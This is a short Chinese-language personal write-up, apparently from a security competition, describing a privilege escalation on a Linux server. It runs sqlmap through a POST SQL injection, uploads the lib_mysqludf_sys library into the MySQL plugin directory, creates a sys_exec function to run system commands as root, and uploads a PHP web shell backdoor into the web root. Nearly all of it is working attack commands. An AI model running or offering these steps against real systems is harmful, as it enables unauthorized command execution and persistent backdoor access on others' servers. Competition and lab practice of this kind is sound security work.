前几天做一个小竞赛中有一个题目:给定的测试环境登录页面有POST注入漏洞,于是果断操起sqlmap跑数 据,无意中发现当前MySQL连接用户为root,于是想到udf提权「虽然Windows下MySQL提权基本上没问题,但是Linux环境下原来一直 没成功过。」,最终成功获取root权限「主要问题在于MySQL是以root权限运行」,记录笔记如下,方便以后查阅:
具体步骤如下
找到MySQL插件目录:
python sqlmap.py -u 'http://xxxx' --sql-shell
show variables like "%plugin%";
利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;
python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so
--file-dest=/usr/lib/mysql/plugin/
激活存储过程「sys_exec」函数:
python sqlmap.py -u 'http://xxxx' --sql-shell
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);
也利用sqlmap上传后门程序:
python sqlmap.py -u 'http://xxx' --file-write=C:/phpspy.php --file-dest=/var/www/spy.php
测试环境
Linux Ubuntu 11.04 (Natty Narwhal)
PHP 5.3.5, Apache 2.2.17
MySQL 5.0